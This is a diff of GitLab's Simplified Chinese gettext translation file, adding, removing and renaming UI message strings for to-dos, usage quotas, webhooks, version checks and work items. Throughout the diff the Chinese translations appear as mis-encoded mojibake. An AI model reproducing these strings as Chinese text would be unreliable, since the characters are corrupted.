-msgstr ""
+msgstr "到期于 %{due_date}"
msgid "Todos|Epic"
msgstr "å²è¯—"
@@ -42913,7 +43617,7 @@ msgid "Todos|Mark all as done"
msgstr "标记全部完æˆ"
msgid "Todos|Member access requested"
-msgstr ""
+msgstr "已请求æˆå‘˜è®¿é—®æƒé™"
msgid "Todos|Mentioned"
msgstr "å·²æåŠ"
@@ -42931,13 +43635,13 @@ msgid "Todos|Pipelines"
msgstr "æµæ°´çº¿"
msgid "Todos|Removed from Merge Train"
-msgstr ""
+msgstr "已从åˆå¹¶é˜Ÿåˆ—中删除"
msgid "Todos|Review requested"
msgstr "已请求审核"
msgid "Todos|The pipeline failed"
-msgstr ""
+msgstr "æµæ°´çº¿å¤±è´¥"
msgid "Todos|Undo mark all as done"
msgstr "撤销标记全部完æˆ"
@@ -42952,19 +43656,19 @@ msgid "Todos|Your To-Do List shows what to work on next"
msgstr "您的待办事项列表显示下一步è¦åšä»€ä¹ˆ"
msgid "Todos|added a to-do item"
-msgstr ""
+msgstr "添加了一个待办事项"
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
-msgstr ""
+msgstr "æåŠäº† %{who}"
msgid "Todos|requested a review"
-msgstr ""
+msgstr "已请求审核"
msgid "Todos|set %{who} as an approver"
-msgstr ""
+msgstr "设置 %{who} 为核准人"
msgid "Todos|yourself"
msgstr "您自己"
@@ -43251,24 +43955,12 @@ msgstr "创建一个新群组以开始您的旗舰版试用。"
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr "第 %{daysUsed}/%{duration} 天"
-msgid "Trials|Go back to GitLab"
-msgstr "返回GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "跳过试用"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr "å‡çº§ %{groupName} 到 %{planName}"
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "您å¯ä»¥é€šè¿‡é€‰æ‹©æ‚¨çš„头åƒå¹¶é€‰æ‹©â€œå¼€å§‹è¯•ç”¨â€æ¥æ¢å¤æ­¤è¿›ç¨‹ã€‚"
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr "您å¯ä»¥å°†æ‚¨åœ¨ä¸€ä¸ªæ–°ç¾¤ç»„或一个现有群组上é¢è¿›è¡Œè¯•ç”¨ã€‚"
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "您现在无法获得å…费试用,但您å¯ä»¥éšæ—¶é€šè¿‡é€‰æ‹©æ‚¨çš„头åƒå¹¶é€‰æ‹©â€œå¼€å§‹æ——舰版试用â€æ¥æ¢å¤æ­¤è¿›ç¨‹ã€‚"
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] "%{planName}还剩 %{daysRemaining} 天ï¼"
@@ -43337,10 +44029,10 @@ msgid "Triggerer"
msgstr "触å‘者"
msgid "Trigger|Description"
-msgstr ""
+msgstr "æè¿°"
msgid "Trigger|Trigger description"
-msgstr ""
+msgstr "触å‘器æè¿°"
msgid "Trigger|Trigger user has insufficient permissions to project"
msgstr "触å‘用户没有足够的项目æƒé™"
@@ -43372,15 +44064,12 @@ msgstr "请å°è¯•æ›´æ”¹æˆ–删除筛选器。"
msgid "Try grouping with different labels"
msgstr "å°è¯•ä½¿ç”¨ä¸åŒçš„标记分组"
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr "å°è¯•ä½¿ç”¨æ‚¨çš„用户å或电å­é‚®ä»¶ç™»å½•ã€‚如果您忘记了密ç ï¼Œè¯·å°è¯•æ‰¾å›žå¯†ç ã€‚"
+msgid "Try it out now"
+msgstr "现在试试"
msgid "Try out GitLab Pipelines"
msgstr "试用 GitLab æµæ°´çº¿"
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr "å°è¯•æ­¤å¤„的故障排除步骤。"
@@ -43552,6 +44241,9 @@ msgstr "无法连接到JiraæœåŠ¡å™¨ã€‚请检查您的Jira集æˆé…置。"
msgid "Unable to create link to vulnerability"
msgstr "无法创建到æ¼æ´žçš„链接"
+msgid "Unable to create pipeline"
+msgstr "无法创建æµæ°´çº¿"
+
msgid "Unable to fetch branch list for this project."
msgstr "无法获å–此项目的分支列表。"
@@ -43559,10 +44251,10 @@ msgid "Unable to fetch branches list, please close the form and try again"
msgstr "无法获å–分支列表,请关闭表å•å¹¶é‡è¯•"
msgid "Unable to fetch group. Reload the page to try again."
-msgstr ""
+msgstr "无法获å–群组。é‡æ–°åŠ è½½é¡µé¢æ¥é‡è¯•ã€‚"
msgid "Unable to fetch groups. Reload the page to try again."
-msgstr ""
+msgstr "无法获å–群组。é‡æ–°åŠ è½½é¡µé¢æ¥é‡è¯•ã€‚"
msgid "Unable to fetch upstream and downstream pipelines."
msgstr "无法获å–上游和下游æµæ°´çº¿ã€‚"
@@ -43594,6 +44286,9 @@ msgstr "无法加载差异。 %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "无法加载åˆå¹¶è¯·æ±‚部件。请å°è¯•é‡æ–°åŠ è½½é¡µé¢ã€‚"
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr "æ— æ³•è§£æž JSON"
@@ -43688,7 +44383,7 @@ msgid "Unhappy?"
msgstr "ä¸å–œæ¬¢ï¼Ÿ"
msgid "Units|d"
-msgstr ""
+msgstr "天"
msgid "Units|ms"
msgstr "毫秒"
@@ -43772,7 +44467,10 @@ msgid "Unschedule job"
msgstr "å–消作业计划"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
-msgstr ""
+msgstr "如果è¦å°†å˜é‡å€¼ç”¨ä½œåŽŸå§‹å­—符串,请å–消选择“扩展å˜é‡å¼•ç”¨â€ã€‚"
+
+msgid "Unselect all"
+msgstr "å–消选择所有"
msgid "Unstar"
msgstr "å–消星标"
@@ -43813,6 +44511,9 @@ msgstr "未使用,以å‰çš„索引: %{index_names} 将在 %{time} åŽè‡ªåŠ¨åˆ
msgid "Unverified"
msgstr "未验è¯"
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr "已是最新"
@@ -43882,6 +44583,9 @@ msgstr "因为项目容器镜åƒåº“已有标签,无法更新当å‰é¡¹ç›®ï¼"
msgid "UpdateProject|Could not set the default branch"
msgstr "无法设置默认分支"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr "无法设置默认分支。您的代ç åº“中是å¦æœ‰å为 “HEAD†的分支? (%{linkStart}我该如何解决这个问题?%{linkEnd})"
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "ä¸å…许新的å¯è§æ€§çº§åˆ«ï¼"
@@ -43958,7 +44662,7 @@ msgid "Uploading..."
msgstr "正在上传..."
msgid "Uploads"
-msgstr ""
+msgstr "上传文件"
msgid "Upstream"
msgstr "上游"
@@ -44044,15 +44748,9 @@ msgstr "群组设置 &gt; 使用é‡é…é¢"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr "包括产物ã€ä»“库ã€wikiã€ä¸Šä¼ æ–‡ä»¶å’Œå…¶å®ƒäº‹é¡¹ã€‚"
-msgid "UsageQuota|Increase storage temporarily"
-msgstr "临时增加存储"
-
msgid "UsageQuota|LFS storage"
msgstr "LFS存储"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr "了解有关超é¢å­˜å‚¨ä½¿ç”¨é‡çš„更多信æ¯"
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "了解有关使用é…é¢çš„更多信æ¯"
@@ -44083,15 +44781,9 @@ msgstr "用 CI/CD 创建的æµæ°´çº¿åˆ¶å“和作业制å“。"
msgid "UsageQuota|Pipelines"
msgstr "æµæ°´çº¿"
-msgid "UsageQuota|Purchase more storage"
-msgstr "购买更多存储空间"
-
msgid "UsageQuota|Purchased storage"
msgstr "购买的存储"
-msgid "UsageQuota|Purchased storage available"
-msgstr "购买的存储空间å¯ç”¨"
-
msgid "UsageQuota|Purchased storage used"
msgstr "已使用的购买的存储"
@@ -44147,13 +44839,7 @@ msgid "UsageQuota|The namespace is currently using %{strong_start}%{used_storage
msgstr "命å空间当å‰æ­£åœ¨ä½¿ç”¨ %{strong_start}%{used_storage}%{strong_end} 的命å空间存储。从 %{strong_start}%{usage_quotas_nav_instruction}%{strong_end} 查看和管ç†æ‚¨çš„使用情况。%{docs_link_start}了解更多%{link_end}有关如何å‡å°‘存储空间的信æ¯ã€‚"
msgid "UsageQuota|The table below shows usage since %{usageSince}"
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr "这是此å称空间中所有项目使用的存储空间总和。"
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr "这是超出项目å…è´¹%{actualRepositorySizeLimit}存储é™åˆ¶çš„存储空间。"
+msgstr "下表显示 %{usageSince} 以æ¥çš„使用情况"
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr "这个命å空间没有在当å‰é˜¶æ®µä½¿ç”¨å…±äº« runner 的项目"
@@ -44161,12 +44847,6 @@ msgstr "这个命å空间没有在当å‰é˜¶æ®µä½¿ç”¨å…±äº« runner 的项目"
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr "此表çœç•¥ä½¿ç”¨ 0 CI/CD 分钟或 0 共享 runner 时长"
-msgid "UsageQuota|Total excess storage used"
-msgstr "已使用超é‡å­˜å‚¨ç©ºé—´æ€»è®¡"
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr "已使用命å空间存储总计"
-
msgid "UsageQuota|Uploads"
msgstr "上传"
@@ -44194,14 +44874,11 @@ msgstr "%{strong_start}%{project_name}%{strong_end} 项目中项目资æºä½¿ç”¨æ
msgid "UsageQuota|Usage of resources across your projects"
msgstr "您的项目中资æºä½¿ç”¨æƒ…况"
-msgid "UsageQuota|Usage quotas help link"
-msgstr "使用é…é¢å¸®åŠ©é“¾æŽ¥"
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr "用户设置 &gt; 使用é‡é…é¢"
msgid "UsageQuota|When you purchase additional storage, we automatically unlock projects that were locked if the storage limit was reached."
-msgstr ""
+msgstr "当您购买é¢å¤–的存储空间时,如果达到存储é™åˆ¶ï¼Œæˆ‘们会自动解é”å·²é”定的项目。"
msgid "UsageQuota|Wiki"
msgstr "Wiki"
@@ -44210,19 +44887,13 @@ msgid "UsageQuota|Wiki content."
msgstr "Wiki 内容。"
msgid "UsageQuota|You have consumed all of your additional storage. Purchase more to unlock projects over the limit."
-msgstr ""
+msgstr "您已ç»ç”¨å°½æ‰€æœ‰æ›´å¤šçš„存储空间,请购买更多空间,从而解é”超过å…è´¹é™åˆ¶çš„项目。"
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
-msgstr ""
-
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "您已使用: %{usage} %{limit}"
+msgstr "您已ç»è¾¾åˆ°äº† %{projectsLockedText} çš„å…费存储上é™ã€‚è¦è§£é”它们,请购买更多存储空间。"
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
-msgstr ""
-
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ",您命å空间存储上é™æ€»è®¡%{formattedLimit}"
+msgstr "您购买的存储空间ä¸è¶³ã€‚为é¿å…项目被é”定,请购买更多存储空间。"
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr "无法加载议题和åˆå¹¶è¯·æ±‚图表,请刷新页é¢é‡è¯•ã€‚"
@@ -44380,6 +45051,9 @@ msgstr "使用模æ¿"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr "使用上é¢çš„ %{strongStart}测试%{strongEnd} 选项创建事件。"
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr "使用以下链接确认您的电å­é‚®ä»¶åœ°å€ (%{email})"
@@ -44393,7 +45067,7 @@ msgid "Use the search bar on the top of this page"
msgstr "使用本页顶部的æœç´¢æ "
msgid "Use this form to report to the administrator users who create spam issues, comments or behave inappropriately."
-msgstr ""
+msgstr "使用此表å•å‘管ç†å‘˜æŠ¥å‘Šåˆ›å»ºåžƒåœ¾è®®é¢˜ã€è¯„论或行为ä¸å½“的用户。"
msgid "Use this token to validate received payloads."
msgstr "使用此令牌æ¥éªŒè¯æ”¶åˆ°çš„有效数æ®ã€‚"
@@ -44435,6 +45109,12 @@ msgstr "用户 %{current_user_username} 已开始使用%{username}的身份"
msgid "User %{username} was successfully removed."
msgstr "用户 %{username} å·²æˆåŠŸåˆ é™¤ã€‚"
+msgid "User %{user} SCIM identity is deactivated"
+msgstr "用户 %{user} SCIM 身份已åœç”¨"
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr "用户 %{user} SCIM 身份已é‡æ–°æ¿€æ´»"
+
msgid "User %{user} was removed from %{group}."
msgstr "用户 %{user} 已从 %{group} 移除。"
@@ -44609,9 +45289,6 @@ msgstr "(忙碌)"
msgid "UserProfile|Activity"
msgstr "活动"
-msgid "UserProfile|Already reported for abuse"
-msgstr "已报告滥用"
-
msgid "UserProfile|Blocked user"
msgstr "å·²ç¦ç”¨ç”¨æˆ·"
@@ -44678,12 +45355,12 @@ msgstr "星标项目"
msgid "UserProfile|Subscribe"
msgstr "关注"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr "此处没有å¯æ˜¾ç¤ºçš„项目。"
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "此用户没有任何关注者。"
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "用户没有任何个人项目"
-
msgid "UserProfile|This user has a private profile"
msgstr "此用户具有éžå…¬å¼€ä¸ªäººèµ„料设置"
@@ -44849,11 +45526,8 @@ msgstr "当缺少加密字段时,使用必è¦çš„加密策略ï¼"
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr "使用%{codeStart}needs%{codeEnd}关键字会使作业比其所在阶段更早è¿è¡Œã€‚åªè¦å®ƒä»¬çš„%{codeStart}needs%{codeEnd}关系得到满足,作业将尽快执行,从而实现æµæ°´çº¿åŠ é€Ÿã€‚"
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
-msgstr "有效期自"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
+msgstr "在æµè§ˆå™¨ä¸­ä½¿ç”¨ VS Code。在与本地 IDE 相åŒçš„ UI 查看代ç å¹¶è¿›è¡Œæ›´æ”¹ã€‚"
msgid "Validate"
msgstr "验è¯"
@@ -44925,7 +45599,7 @@ msgid "ValueStreamAnalytics|Dashboard"
msgstr "仪表盘"
msgid "ValueStreamAnalytics|Edit Value Stream: %{name}"
-msgstr ""
+msgstr "编辑价值æµï¼š%{name}"
msgid "ValueStreamAnalytics|Go to docs"
msgstr "转到文档"
@@ -44946,7 +45620,7 @@ msgid "ValueStreamAnalytics|Median time from the earliest commit of a linked iss
msgstr "从一个关è”议题的åˆå¹¶è¯·æ±‚最早æ交到该议题结æŸæ—¶çš„中ä½æ—¶é—´ã€‚"
msgid "ValueStreamAnalytics|New Value Stream"
-msgstr ""
+msgstr "新建价值æµ"
msgid "ValueStreamAnalytics|Number of commits pushed to the default branch"
msgstr "推é€åˆ°é»˜è®¤åˆ†æ”¯çš„æ交数é‡"
@@ -45000,7 +45674,7 @@ msgid "Variable"
msgstr "å˜é‡"
msgid "Variable value will be evaluated as raw string."
-msgstr ""
+msgstr "å˜é‡å€¼å°†è¢«å½“作原始字符串。"
msgid "Variable will be masked in job logs."
msgstr "å˜é‡å€¼å°†åœ¨ä½œä¸šæ—¥å¿—中被éšè—。"
@@ -45012,7 +45686,7 @@ msgid "Variables can be:"
msgstr "å˜é‡å¯ä»¥æ˜¯ï¼š"
msgid "Variables can have several attributes."
-msgstr ""
+msgstr "å˜é‡å¯ä»¥æœ‰å¤šä¸ªå±žæ€§ã€‚"
msgid "Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables."
msgstr "å˜é‡å­˜å‚¨ä¿¡æ¯ï¼Œå¦‚密ç å’Œå¯†é’¥ï¼Œæ‚¨å¯ä»¥åœ¨ä½œä¸šè„šæœ¬ä¸­ä½¿ç”¨ã€‚实例上的所有项目都å¯ä»¥ä½¿ç”¨è¿™äº›å˜é‡ã€‚"
@@ -45044,6 +45718,9 @@ msgstr "您现在å¯ä»¥åˆ©ç”¨å…±äº« runner çš„å…è´¹ CI/CD 分钟。"
msgid "Verified"
msgstr "已验è¯"
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr "验è¯SAMLé…ç½®"
@@ -45056,9 +45733,6 @@ msgstr "验è¯é…ç½®"
msgid "Version"
msgstr "版本"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr "报告类型 %{report_type} 的版本 %{report_version} 已被弃用,此报告类型支æŒçš„版本是: %{supported_schema_versions}。如果有效,GitLab å°†å°è¯•è§£æžå’Œæ‘„å–此报告。"
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr "ä¸æ”¯æŒæŠ¥å‘Šç±»åž‹ %{report_type} 的版本 %{report_version} ,此报告类型支æŒçš„版本是:%{supported_schema_versions}。系统将å°è¯•æ ¹æ®æ­¤æŠ¥å‘Šç±»åž‹çš„最早支æŒç‰ˆæœ¬éªŒè¯æ­¤æŠ¥å‘Šï¼Œä»¥æ˜¾ç¤ºæ‰€æœ‰é”™è¯¯ï¼Œä½†ä¸ä¼šæå–报告"
@@ -45069,19 +45743,19 @@ msgid "Version %{versionNumber} (latest)"
msgstr "版本 %{versionNumber} (最新)"
msgid "VersionCheck|%{details}"
-msgstr ""
+msgstr "%{details}"
msgid "VersionCheck|Critical security upgrade available"
-msgstr ""
+msgstr "关键安全å‡çº§å¯ç”¨"
msgid "VersionCheck|Important notice - Critical security release"
-msgstr ""
+msgstr "é‡è¦é€šçŸ¥ - 关键安全å‘布"
msgid "VersionCheck|Learn more about this critical security release."
-msgstr ""
+msgstr "了解更多关于这个关键安全å‘布的信æ¯ã€‚"
msgid "VersionCheck|Remind me again in 3 days"
-msgstr ""
+msgstr "3 天åŽå†æ¬¡æ醒我"
msgid "VersionCheck|Up to date"
msgstr "最新"
@@ -45093,16 +45767,16 @@ msgid "VersionCheck|Update available"
msgstr "æ›´æ–°å¯ç”¨"
msgid "VersionCheck|Upgrade now"
-msgstr ""
+msgstr "ç«‹å³å‡çº§"
msgid "VersionCheck|You are currently on version %{currentVersion}! We strongly recommend upgrading your GitLab installation immediately."
-msgstr ""
+msgstr "您当å‰ä½¿ç”¨çš„是版本 %{currentVersion}ï¼æˆ‘们强烈建议立å³å‡çº§æ‚¨çš„安装实例。"
msgid "VersionCheck|You are currently on version %{currentVersion}! We strongly recommend upgrading your GitLab installation to one of the following versions immediately: %{latestStableVersions}."
-msgstr ""
+msgstr "您当å‰ä½¿ç”¨çš„是 %{currentVersion} 版本ï¼æˆ‘们强烈建议您立å³å‡çº§åˆ°ä»¥ä¸‹ç‰ˆæœ¬ä¹‹ä¸€ï¼š%{latestStableVersions}。"
msgid "VersionCheck|You are currently on version %{currentVersion}. We strongly recommend upgrading your GitLab installation. %{link}"
-msgstr ""
+msgstr "您当å‰ä½¿ç”¨çš„是版本 %{currentVersion}。我们强烈建议立å³å‡çº§æ‚¨çš„安装实例。%{link}"
msgid "VersionCheck|Your GitLab Version"
msgstr "您的 GitLab 版本"
@@ -45128,6 +45802,9 @@ msgstr "查看所有议题"
msgid "View all projects"
msgstr "查看所有项目"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr "查看和编辑 Markdown, 并选择预览格å¼åŒ–输出。"
+
msgid "View blame"
msgstr "查看 blame"
@@ -45220,6 +45897,9 @@ msgstr "查看日志"
msgid "View logs"
msgstr "查看日志"
+msgid "View markdown"
+msgstr "查看 Markdown"
+
msgid "View milestones"
msgstr "查看里程碑"
@@ -45251,6 +45931,9 @@ msgstr[0] "查看公共 GPG 密钥"
msgid "View replaced file @ "
msgstr "查看替æ¢æ–‡ä»¶ @ "
+msgid "View rich text"
+msgstr "查看富文本"
+
msgid "View seat usage"
msgstr "查看席ä½ä½¿ç”¨æƒ…况"
@@ -45263,6 +45946,9 @@ msgstr "使用 %{projects_api_link} 查看 %{project_link} 的 %{code_open}last_
msgid "View the documentation"
msgstr "查看文档"
+msgid "View the formatted output in real-time as you edit."
+msgstr "在您编辑时实时查看格å¼åŒ–的输出。"
+
msgid "View the latest successful deployment to this environment"
msgstr "查看此环境最新æˆåŠŸéƒ¨ç½²"
@@ -45287,9 +45973,6 @@ msgstr "使用统一的 URL 无法从主站查看项目和设计数æ®ï¼Œç›´æŽ¥è
msgid "Violation"
msgstr "è¿è§„"
-msgid "Visibility"
-msgstr "å¯è§æ€§"
-
msgid "Visibility and access controls"
msgstr "å¯è§æ€§ä¸Žè®¿é—®æŽ§åˆ¶"
@@ -45762,7 +46445,7 @@ msgid "We don't have enough data to show this stage."
msgstr "该阶段的数æ®ä¸è¶³ï¼Œæ— æ³•æ˜¾ç¤ºã€‚"
msgid "We found your token in a public project and have automatically revoked it to protect your account."
-msgstr ""
+msgstr "我们在公开项目中å‘现了您的令牌,并已自动将其撤销æ¥ä¿æŠ¤æ‚¨çš„å¸æˆ·ã€‚"
msgid "We have found the following errors:"
msgstr "我们å‘现以下错误:"
@@ -45891,16 +46574,16 @@ msgid "Webhook events will be displayed here."
msgstr "Webhook 事件将在这里显示。"
msgid "Webhook was created"
-msgstr ""
+msgstr "Webhook 已创建"
msgid "Webhook was deleted"
-msgstr ""
+msgstr "Webhook 已删除"
msgid "Webhook was scheduled for deletion"
-msgstr ""
+msgstr "Webhook 已计划删除"
msgid "Webhook was updated"
-msgstr ""
+msgstr "Webhook 已更新"
msgid "Webhook:"
msgstr "Webhook:"
@@ -46017,17 +46700,17 @@ msgid "Webhooks|Merge request events"
msgstr "åˆå¹¶è¯·æ±‚事件"
msgid "Webhooks|Must match part of URL"
-msgstr ""
+msgstr "必须匹é…部分 URL"
msgid "Webhooks|Pipeline events"
msgstr "æµæ°´çº¿äº‹ä»¶"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
-msgstr "支æŒä¾‹å¦‚ %{REGEX_CODE} 的正则表达å¼ã€‚"
-
msgid "Webhooks|Regular expression"
msgstr "正则表达å¼"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
+msgstr "支æŒä¾‹å¦‚ %{REGEX_CODE} 的正则表达å¼ã€‚"
+
msgid "Webhooks|Releases events"
msgstr "å‘布事件"
@@ -46448,7 +47131,7 @@ msgid "Will be mapped to"
msgstr "将被映射到"
msgid "Will be released"
-msgstr ""
+msgstr "å°†å‘布"
msgid "Will deploy to"
msgstr "将部署到"
@@ -46471,17 +47154,29 @@ msgstr "正在进行中(开放和未分é…)"
msgid "Work in progress Limit"
msgstr "“进行中â€é™åˆ¶"
+msgid "WorkItem|%{count} more assignees"
+msgstr "%{count} 个更多的指派人"
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr "%{workItemType} 已删除"
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr "一个éžç§å¯†çš„ %{workItemType} ä¸èƒ½åˆ†é…给一个ç§å¯†çš„父级 %{parentWorkItemType}。"
+
+msgid "WorkItem|Activity"
+msgstr "活动"
+
msgid "WorkItem|Add"
msgstr "添加"
msgid "WorkItem|Add %{workItemType}"
-msgstr ""
+msgstr "添加 %{workItemType}"
msgid "WorkItem|Add %{workItemType}s"
-msgstr ""
+msgstr "添加 %{workItemType}"
msgid "WorkItem|Add a title"
msgstr "添加标题"
@@ -46518,7 +47213,7 @@ msgid "WorkItem|Cancel"
msgstr "å–消"
msgid "WorkItem|Child objectives and key results"
-msgstr ""
+msgstr "å­ç›®æ ‡å’Œå…³é”®ç»“æžœ"
msgid "WorkItem|Child removed"
msgstr "已删除å­é¡¹"
@@ -46530,10 +47225,10 @@ msgid "WorkItem|Collapse tasks"
msgstr "折å ä»»åŠ¡"
msgid "WorkItem|Create %{workItemType}"
-msgstr ""
+msgstr "创建 %{workItemType}"
msgid "WorkItem|Create objective"
-msgstr ""
+msgstr "创建目标"
msgid "WorkItem|Create task"
msgstr "创建任务"
@@ -46548,17 +47243,20 @@ msgid "WorkItem|Delete %{workItemType}"
msgstr "删除 %{workItemType}"
msgid "WorkItem|Discard changes"
-msgstr ""
+msgstr "放弃更改"
msgid "WorkItem|Due date"
msgstr "截止日期"
msgid "WorkItem|Existing task"
-msgstr ""
+msgstr "现有任务"
msgid "WorkItem|Expand tasks"
msgstr "展开任务"
+msgid "WorkItem|Health status"
+msgstr "å¥åº·çŠ¶å†µ"
+
msgid "WorkItem|Incident"
msgstr "事件"
@@ -46568,17 +47266,17 @@ msgstr "议题"
msgid "WorkItem|Iteration"
msgstr "迭代"
-msgid "WorkItem|Key result"
-msgstr ""
+msgid "WorkItem|Key Result"
+msgstr "关键结果"
msgid "WorkItem|Milestone"
msgstr "里程碑"
msgid "WorkItem|New objective"
-msgstr ""
+msgstr "新建目标"
msgid "WorkItem|New task"
-msgstr ""
+msgstr "新建任务"
msgid "WorkItem|No iteration"
msgstr "无迭代"
@@ -46590,7 +47288,7 @@ msgid "WorkItem|No milestone"
msgstr "无里程碑"
msgid "WorkItem|No objectives or key results are currently assigned."
-msgstr ""
+msgstr "当å‰æœªåˆ†é…任何目标或关键结果。"
msgid "WorkItem|No tasks are currently assigned. Use tasks to break down this issue into smaller parts."
msgstr "当å‰æœªè¢«åˆ†é…任何任务。使用任务功能将这个议题分解æˆæ›´å°çš„部分。"
@@ -46599,10 +47297,10 @@ msgid "WorkItem|None"
msgstr "æ— "
msgid "WorkItem|Objective"
-msgstr ""
+msgstr "目标"
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
-msgstr "åªæœ‰ä½œè€…ã€æŒ‡æ´¾äººå’Œè‡³å°‘是报告者的项目æˆå‘˜ï¼Œå¯ä»¥æŸ¥çœ‹æˆ–收到有关此任务的通知。"
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
+msgstr "åªæœ‰ä½œè€…ã€æŒ‡æ´¾äººå’Œè‡³å°‘是报告者的项目æˆå‘˜ï¼Œå¯ä»¥æŸ¥çœ‹æˆ–收到有关此 %{workItemType} 的通知。"
msgid "WorkItem|Open"
msgstr "开放"
@@ -46614,16 +47312,16 @@ msgid "WorkItem|Requirements"
msgstr "è¦æ±‚"
msgid "WorkItem|Save and overwrite"
-msgstr ""
+msgstr "ä¿å­˜å¹¶è¦†ç›–"
msgid "WorkItem|Search existing %{workItemType}s"
-msgstr ""
+msgstr "æœç´¢çŽ°æœ‰çš„ %{workItemType}"
msgid "WorkItem|Select type"
msgstr "选择类型"
msgid "WorkItem|Someone edited the description at the same time you did. If you save it will overwrite their changes. Please confirm you'd like to save your edits."
-msgstr ""
+msgstr "有人åŒæ—¶ç¼–辑了æ述。如果您ä¿å­˜ï¼Œå°†è¦†ç›–他们的更改。请确认您想è¦ä¿å­˜æ‚¨çš„编辑。"
msgid "WorkItem|Something went wrong when creating %{workItemType}. Please try again."
msgstr "创建 %{workItemType} 时出现问题。请å†è¯•ä¸€æ¬¡ã€‚"
@@ -46655,6 +47353,12 @@ msgstr "å°è¯•åˆ›å»ºå­é¡¹æ—¶å‡ºé”™ï¼Œè¯·å†è¯•ä¸€æ¬¡ã€‚"
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr "获å–里程碑时出错。请å†è¯•ä¸€æ¬¡ã€‚"
+msgid "WorkItem|Something went wrong while removing child."
+msgstr "删除å­é¡¹æ—¶å‡ºé”™ã€‚"
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr "撤销删除å­é¡¹æ—¶å‡ºé”™ã€‚"
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr "æ›´æ–° %{workItemType} 时出现问题。请å†è¯•ä¸€æ¬¡ã€‚"
@@ -46676,6 +47380,12 @@ msgstr "任务"
msgid "WorkItem|Test case"
msgstr "测试用例"
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr "æ­¤%{workItemType}是ä¿å¯†çš„,åªèƒ½æ˜¾ç¤ºç»™æ‹¥æœ‰è‡³å°‘报告者访问æƒé™çš„团队æˆå‘˜ã€‚"
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
